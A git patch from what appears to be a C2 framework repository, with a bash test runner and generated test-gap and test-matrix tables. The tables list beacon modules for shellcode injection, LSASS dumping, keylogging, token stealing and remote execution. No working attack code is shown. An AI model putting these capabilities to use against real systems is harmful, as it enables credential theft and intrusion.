status="blocked" + detail="exit code 77" + else + status="fail" + detail="exit code $code" + fi + fi + + record_result "$ids" "$status" "$source" "$log_file" "$detail" + echo "[${status}] $source" +} + +cpp_test() { + local ids="$1" + local name="$2" + run_case "$ids" "$name" "$BUILD_DIR/tests/bin/$name" +} + +pytest_case() { + local ids="$1" + local source="$2" + shift 2 + run_case "$ids" "$source" "$PYTHON" -m pytest -s -q "$@" +} + +cpp_test "TEAMSERVER-STARTUP-TLS-001" "testsTestServer" +cpp_test "TEAMSERVER-COMMAND-CATALOG-001 COMMON-HELP-001 C2CLIENT-CONSOLE-HELP-001" "testsTeamServerHelpService" +cpp_test "TEAMSERVER-COMMAND-PREPARATION-001 TEAMSERVER-FILE-TRANSFER-001 TEAMSERVER-GENERATED-ARTIFACTS-001 ARTIFACT-TOOLS-001 ARTIFACT-SCRIPTS-001 ARTIFACT-UPLOADED-001 MODULE-ASSEMBLYEXEC-CONTRACT-001 MODULE-INJECT-CONTRACT-001 MODULE-DOWNLOAD-CONTRACT-001 MODULE-UPLOAD-CONTRACT-001 MODULE-MINIDUMP-CONTRACT-001 MODULE-SCREENSHOT-CONTRACT-001 MODULE-POWERSHELL-CONTRACT-001 MODULE-PWSH-CONTRACT-001 MODULE-SCRIPT-CONTRACT-001 MODULE-CHISEL-CONTRACT-001 MODULE-DOTNETEXEC-CONTRACT-001 MODULE-PSEXEC-CONTRACT-001 MODULE-KERBEROSUSETICKET-CONTRACT-001 MODULE-COFFLOADER-CONTRACT-001" "testsTeamServerCommandPreparationService" +cpp_test "TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001" "testsTeamServerListenerArtifactService" +cpp_test "TEAMSERVER-ARTIFACT-CATALOG-001 TEAMSERVER-GENERATED-ARTIFACTS-001 ARTIFACT-GENERATED-001 ARTIFACT-LAYOUT-001 ARTIFACT-UPLOADED-001 C2CLIENT-ARTIFACTS-LIST-001" "testsTeamServerArtifactCatalog" +cpp_test "TEAMSERVER-COMMAND-CATALOG-001 MODULE-COMMANDSPEC-COVERAGE-001 COMMON-HELP-001" "testsTeamServerCommandCatalog" +cpp_test "TEAMSERVER-SOCKS-SERVICE-001" "testsTeamServerSocksService" +cpp_test "TEAMSERVER-HOSTED-ARTIFACTS-001 C2CLIENT-TERMINAL-HOST-001" "testsTeamServerTermLocalService" +cpp_test "TEAMSERVER-LISTENER-SESSION-SERVICE-001 TEAMSERVER-FILE-TRANSFER-001 BEACON-CORE-MODULE-LIFECYCLE-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 BEACON-CORE-TASK-QUEUE-001" "testsTeamServerListenerSessionService" +cpp_test "LISTENER-HTTPS-001" "testsTeamServerHttpListenerTransport" + +cpp_test "COMMON-HELP-001 COMMON-SLEEP-001 COMMON-END-001 COMMON-LISTENER-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 MODULE-COMMANDSPEC-COVERAGE-001 BEACON-CORE-MODULE-LIFECYCLE-001" "testsModuleCmd" +cpp_test "TEAMSERVER-CONFIG-DIRECTORIES-001 ARTIFACT-LAYOUT-001 ARTIFACT-TOOLS-001 ARTIFACT-SCRIPTS-001 ARTIFACT-UPLOADED-001 ARTIFACT-GENERATED-001" "testsTools" + +cpp_test "MODULE-ASSEMBLYEXEC-CONTRACT-001 TEAMSERVER-SHELLCODE-SERVICE-001" "testsAssemblyExec" +cpp_test "MODULE-CAT-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsCat" +cpp_test "MODULE-CD-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsChangeDirectory" +cpp_test "MODULE-CHISEL-CONTRACT-001" "testsChisel" +cpp_test "MODULE-CIMEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsCimExec" +cpp_test "MODULE-COFFLOADER-CONTRACT-001" "testsCoffLoader" +cpp_test "MODULE-DCOMEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsDcomExec" +cpp_test "MODULE-DOTNETEXEC-CONTRACT-001" "testsDotnetExec" +cpp_test "MODULE-DOWNLOAD-CONTRACT-001 BEACON-CORE-CHUNKED-RESULTS-001 MODULE-SIMPLE-FILESYSTEM-001" "testsDownload" +cpp_test "MODULE-ENUMERATERDPSESSIONS-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsEnumerateRdpSessions" +cpp_test "MODULE-ENUMERATESHARES-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsEnumerateShares" +cpp_test "MODULE-EVASION-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsEvasion" +cpp_test "MODULE-GETENV-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsGetEnv" +cpp_test "MODULE-INJECT-CONTRACT-001 TEAMSERVER-SHELLCODE-SERVICE-001" "testsInject" +cpp_test "MODULE-IPCONFIG-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsIpConfig" +cpp_test "MODULE-KERBEROSUSETICKET-CONTRACT-001" "testsKerberosUseTicket" +cpp_test "MODULE-KEYLOGGER-CONTRACT-001" "testsKeyLogger" +cpp_test "MODULE-KILLPROCESS-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsKillProcess" +cpp_test "MODULE-LS-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsListDirectory" +cpp_test "MODULE-PS-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsListProcesses" +cpp_test "MODULE-MAKETOKEN-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsMakeToken" +cpp_test "MODULE-MINIDUMP-CONTRACT-001 BEACON-CORE-CHUNKED-RESULTS-001" "testsMiniDump" +cpp_test "MODULE-MKDIR-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsMkDir" +cpp_test "MODULE-NETSTAT-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsNetstat" +cpp_test "MODULE-POWERSHELL-CONTRACT-001 ARTIFACT-SCRIPTS-001" "testsPowershell" +cpp_test "MODULE-PWD-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsPrintWorkingDirectory" +cpp_test "MODULE-PSEXEC-CONTRACT-001" "testsPsExec" +cpp_test "MODULE-PWSH-CONTRACT-001 ARTIFACT-TOOLS-001" "testsPwSh" +cpp_test "MODULE-REGISTRY-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsRegistry" +cpp_test "MODULE-REMOVE-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsRemove" +cpp_test "MODULE-REV2SELF-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsRev2self" +cpp_test "MODULE-REVERSEPORTFORWARD-CONTRACT-001" "testsReversePortForward" +cpp_test "MODULE-RUN-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsRun" +cpp_test "MODULE-SCREENSHOT-CONTRACT-001 BEACON-CORE-CHUNKED-RESULTS-001" "testsScreenShot" +cpp_test "MODULE-SCRIPT-CONTRACT-001 ARTIFACT-SCRIPTS-001" "testsScript" +cpp_test "MODULE-SHELL-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsShell" +cpp_test "MODULE-SPAWNAS-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsSpawnAs" +cpp_test "MODULE-SSHEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsSshExec" +cpp_test "MODULE-STEALTOKEN-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsStealToken" +cpp_test "MODULE-TASKSCHEDULER-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsTaskScheduler" +cpp_test "MODULE-TREE-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsTree" +cpp_test "MODULE-UPLOAD-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsUpload" +cpp_test "MODULE-WHOAMI-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsWhoami" +cpp_test "MODULE-WINRM-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsWinRM" +cpp_test "MODULE-WMIEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsWmiExec" + +pytest_case "C2CLIENT-CONFIG-ENV-001 C2CLIENT-CONFIG-CERT-001" "pytest:test_env_loading.py" "$REPO_ROOT/C2Client/tests/test_env_loading.py" +pytest_case "C2CLIENT-RPC-BINDINGS-001" "pytest:test_protocol_bindings.py" "$REPO_ROOT/C2Client/tests/test_protocol_bindings.py" +pytest_case "C2CLIENT-RPC-BINDINGS-001 C2CLIENT-CONFIG-CERT-001" "pytest:test_grpc_client.py" "$REPO_ROOT/C2Client/tests/test_grpc_client.py" +pytest_case "C2CLIENT-STARTUP-GUI-001" "pytest:test_gui_startup.py" "$REPO_ROOT/C2Client/tests/test_gui_startup.py" +pytest_case "C2CLIENT-SESSION-PANEL-001 BEACON-CORE-HEARTBEAT-001 BEACON-CORE-REGISTER-001" "pytest:test_session_panel.py" "$REPO_ROOT/C2Client/tests/test_session_panel.py" +pytest_case "C2CLIENT-LISTENER-PANEL-001 VALIDATION-ERROR-HANDLING-001" "pytest:test_listener_panel.py" "$REPO_ROOT/C2Client/tests/test_listener_panel.py" +pytest_case "C2CLIENT-GRAPH-PANEL-001" "pytest:test_graph_panel.py" "$REPO_ROOT/C2Client/tests/test_graph_panel.py" +pytest_case "C2CLIENT-CONSOLE-FORMATTING-001 C2CLIENT-CONSOLE-AUTOCOMPLETE-001 C2CLIENT-CONSOLE-HELP-001 VALIDATION-ERROR-HANDLING-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 MODULE-ASSEMBLYEXEC-CONTRACT-001 MODULE-INJECT-CONTRACT-001 MODULE-DOTNETEXEC-CONTRACT-001" "pytest:test_console_panel.py" "$REPO_ROOT/C2Client/tests/test_console_panel.py" +pytest_case "C2CLIENT-TERMINAL-BASE-001 C2CLIENT-TERMINAL-DROPPER-001 C2CLIENT-TERMINAL-HOST-001" "pytest:test_terminal_panel_dropper_arch.py" "$REPO_ROOT/C2Client/tests/test_terminal_panel_dropper_arch.py" +pytest_case "C2CLIENT-ARTIFACTS-LIST-001 C2CLIENT-ARTIFACTS-UPLOAD-001 C2CLIENT-ARTIFACTS-DOWNLOAD-001 C2CLIENT-ARTIFACTS-DELETE-001 ARTIFACT-UPLOADED-001 TEAMSERVER-ARTIFACT-CATALOG-001" "pytest:test_artifact_panel.py" "$REPO_ROOT/C2Client/tests/test_artifact_panel.py" +pytest_case "C2CLIENT-HOOKS-PANEL-001" "pytest:test_script_panel.py" "$REPO_ROOT/C2Client/tests/test_script_panel.py" +pytest_case "C2CLIENT-AI-PANEL-001" "pytest:test_assistant_panel.py" "$REPO_ROOT/C2Client/tests/test_assistant_panel.py" +pytest_case "C2CLIENT-MAIN-THEME-001 C2CLIENT-SESSION-PANEL-001" "pytest:test_ui_status.py" "$REPO_ROOT/C2Client/tests/test_ui_status.py" +pytest_case "C2CLIENT-AI-PANEL-001 MODULE-COMMANDSPEC-COVERAGE-001 C2CLIENT-CONSOLE-AUTOCOMPLETE-001" "pytest:assistant_agent" "$REPO_ROOT/C2Client/tests/assistant_agent" + +if ! "$AGGREGATOR_PYTHON" - "$REPO_ROOT/docs/testing/test-catalog.yaml" "$RESULTS_TSV" "$AUTO_RESULTS" <<'PY' +import csv +import json +import sys +from collections import defaultdict +from pathlib import Path + +import yaml + +catalog_path = Path(sys.argv[1]) +tsv_path = Path(sys.argv[2]) +output_path = Path(sys.argv[3]) +catalog = yaml.safe_load(catalog_path.read_text(encoding="utf-8")) +catalog_ids = {entry["id"] for entry in catalog["entries"]} +precedence = {"fail": 0, "blocked": 1, "pass": 2} +grouped = defaultdict(list) + +with tsv_path.open("r", encoding="utf-8", newline="") as handle: + reader = csv.reader(handle, delimiter="\t") + for row in reader: + if not row: + continue + result_id, status, source, log_file, detail = row + if result_id not in catalog_ids: + raise SystemExit(f"unknown catalog id in auto result: {result_id}") + grouped[result_id].append({ + "status": status, + "source": source, + "log_file": log_file, + "detail": detail, + }) + +results = [] +for result_id in sorted(grouped): + records = grouped[result_id] + status = min((record["status"] for record in records), key=lambda item: precedence.get(item, -1)) + results.append({ + "id": result_id, + "status": status, + "source": ", ".join(record["source"] for record in records), + "evidence": "; ".join(f"{record['source']} -> {record['detail']}" for record in records), + "logs": [record["log_file"] for record in records], + }) + +output_path.write_text(json.dumps({"schema_version": 1, "results": results}, indent=2) + "\n", encoding="utf-8") +print(f"Wrote {output_path} with {len(results)} result ids") +PY +then + echo "Failed to aggregate auto validation results." >&2 + exit 1 +fi + +echo "Auto validation results written to $AUTO_RESULTS" From de1559feb76e32c292770bda76eacfa316eef3fb Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 7 May 2026 16:20:26 +0200 Subject: [PATCH 50/82] manual test --- docs/TEST_GAPS.md | 21 +---- docs/TEST_MATRIX.md | 38 ++++---- docs/TEST_STATE.md | 31 +++---- docs/testing/manual-results.yaml | 153 ++++++++++++++++++++++++++++++- docs/testing/test-catalog.yaml | 4 +- 5 files changed, 186 insertions(+), 61 deletions(-) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 62571c9..093ef64 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -4,28 +4,20 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| +| fail | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete uploaded, generated, and hosted artifacts using artifact IDs, not legacy terminal paths. | pass | fail | | partial | critical | `ARTIFACT-GENERATED-001` | Artifacts | GeneratedArtifacts | Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars. | pass | untested | | partial | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | Release scripts place files under the canonical data layout with platform and arch subfolders. | pass | untested | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | | partial | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | Emit recurring chunks for large results and finish with a single success response. | pass | untested | | partial | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | Update last seen, stale state, listener proof of life, and reconnect behavior. | pass | untested | -| partial | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | loadModule, unloadModule, listModule, duplicate-load rejection, and module count tracking. | pass | untested | -| partial | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | Register hostname, username, OS, arch, privilege, process id, internal IPs, and additional information. | pass | untested | -| partial | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | Receive tasks, execute common commands/modules, return command IDs, and preserve command context. | pass | untested | -| partial | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | List CommandSpecs, Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted artifacts, beacons, and modules with category filters. | pass | untested | | partial | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | Build autocomplete from CommandSpec, artifact catalog, sessions, listeners, and loaded module state. | pass | untested | | partial | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | Start python3 -m C2Client.GUI without crashing and create non-closable core tabs. | pass | untested | -| partial | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | Host an artifact reference through GeneratedArtifacts/hosted instead of arbitrary legacy file paths. | pass | untested | | partial | critical | `COMMON-HELP-001` | CommonCommands | help | List commands and show command-specific help from CommandSpec. | pass | untested | -| partial | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | Autocomplete unloaded modules, resolve module artifacts by OS/arch, and reject duplicates. | pass | untested | -| partial | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | Autocomplete loaded modules and unload selected module. | pass | untested | -| partial | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | Start listener, register beacon, exchange tasks/results, host artifacts, and stop listener. | pass | untested | | partial | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon. | pass | untested | | partial | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar. | pass | untested | | partial | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon. | pass | untested | | partial | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell. | pass | untested | | partial | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands. | pass | untested | -| partial | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | Upload an UploadedArtifact to a remote path with server-controlled input resolution. | pass | untested | | partial | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source. | pass | untested | | partial | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs. | pass | untested | | partial | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | Prepare upload/download paths, write chunked command results, and keep command context until final success. | pass | untested | @@ -33,10 +25,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | Start TeamServer with generated certificate, client auth, and readable config errors. | pass | untested | | partial | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | pass | untested | | partial | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands. | pass | untested | -| partial | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | Resolve operator-uploaded payloads by category, platform, arch, and Any/any fallback. | pass | untested | -| partial | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | Delete generated and hosted artifacts using artifact IDs, not legacy terminal paths. | pass | untested | | partial | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | Download selected artifacts from TeamServer to the client filesystem. | pass | untested | -| partial | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | Upload operator files into UploadedArtifacts with selected platform and arch. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | Use unified timestamp, marker, and body colors with no duplicated queued/done/result lines. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | @@ -47,8 +36,8 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | Generate and host droppers with selected beacon arch and shellcode generator. | pass | untested | | partial | high | `COMMON-END-001` | CommonCommands | end | Stop a beacon session cleanly. | pass | untested | | partial | high | `COMMON-LISTENER-001` | CommonCommands | listener | Start and stop child listeners from a beacon using validated listener parameters. | pass | untested | -| partial | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | List loaded modules by name and state in the beacon console. | pass | untested | | partial | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | pass | untested | +| partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | untested | | partial | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | untested | | partial | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts. | pass | untested | @@ -56,7 +45,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | untested | | partial | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | untested | | partial | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | untested | -| partial | high | `MODULE-RUN-CONTRACT-001` | Modules | run | Run local process commands with stdout/stderr capture and startup failure handling. | pass | untested | | partial | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | Capture desktop BMP, return chunked generated screenshot artifact, and show a single final console result. | pass | untested | | partial | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution. | pass | untested | | partial | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | Execute shell commands with stdout/stderr capture and startup failure handling. | pass | untested | @@ -64,14 +52,11 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run. | pass | untested | | partial | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | pass | untested | | partial | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | Validate makeToken, stealToken, rev2self, spawnAs, and related error handling. | pass | untested | -| partial | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | Host artifacts under GeneratedArtifacts/hosted and list/delete them through artifact services. | pass | untested | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | | partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | | partial | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | pass | untested | | partial | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | Render separated nodes by default, zoom in/out controls, and no redundant title frame. | pass | untested | | partial | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | pass | untested | -| partial | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | Read a remote file and report readable errors for missing paths. | pass | untested | -| partial | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | Change current working directory and reject invalid paths clearly. | pass | untested | | partial | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | Enumerate RDP sessions with readable output and safe error handling. | pass | untested | @@ -81,7 +66,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | Return interface/network information without truncating important data. | pass | untested | | partial | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | Start/stop keylogger and collect key output safely. | pass | untested | | partial | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | Kill a safe dummy process and reject invalid PID values clearly. | pass | untested | -| partial | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | List remote directory contents with stable formatting and path error handling. | pass | untested | | partial | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | Create a logon token from credentials and report authentication failures clearly. | pass | untested | | partial | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | Create remote directories and report existing/invalid path failures. | pass | untested | | partial | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | Return network connection/listening information in a readable format. | pass | untested | @@ -106,7 +90,6 @@ _Generated by `scripts/generate-test-state.py`._ | untested | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact. | n/a | untested | | untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | | untested | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | untested | -| untested | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | | untested | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 62248ab..3da5f38 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -8,16 +8,16 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | critical | `ARTIFACT-LAYOUT-001` | Artifacts | Release data layout | teamserver | any | n/a | any | pass | untested | | partial | auto+manual | high | `ARTIFACT-SCRIPTS-001` | Artifacts | Scripts | teamserver | any | n/a | scripts | pass | untested | | partial | auto+manual | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | teamserver | any | n/a | tools | pass | untested | -| partial | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | untested | +| pass | auto+manual | high | `ARTIFACT-UPLOADED-001` | Artifacts | UploadedArtifacts | teamserver | any | n/a | uploaded | pass | pass | | partial | auto+manual | critical | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | any | any | any | generated | pass | untested | | partial | auto+manual | critical | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | any | any | any | n/a | pass | untested | -| partial | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | pass | untested | -| partial | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | pass | untested | -| partial | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | pass | untested | -| partial | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | untested | +| pass | auto+manual | critical | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | any | any | any | modules | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | any | any | any | n/a | pass | pass | +| pass | auto+manual | critical | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | any | any | any | n/a | pass | pass | +| fail | auto+manual | high | `C2CLIENT-ARTIFACTS-DELETE-001` | C2Client | Artifact delete | client | n/a | n/a | generated | pass | fail | | partial | auto+manual | high | `C2CLIENT-ARTIFACTS-DOWNLOAD-001` | C2Client | Artifact download | client | n/a | n/a | generated | pass | untested | -| partial | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | untested | -| partial | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | untested | +| pass | auto+manual | high | `C2CLIENT-ARTIFACTS-UPLOAD-001` | C2Client | Artifact upload | client | any | n/a | uploaded | pass | pass | +| pass | auto+manual | critical | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | client | n/a | n/a | any | pass | pass | | partial | auto+manual | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | client | n/a | any | command_specs | pass | untested | | partial | auto+manual | critical | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | client | n/a | any | command_specs | pass | untested | | pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | @@ -33,21 +33,21 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | pass | n/a | | partial | auto+manual | high | 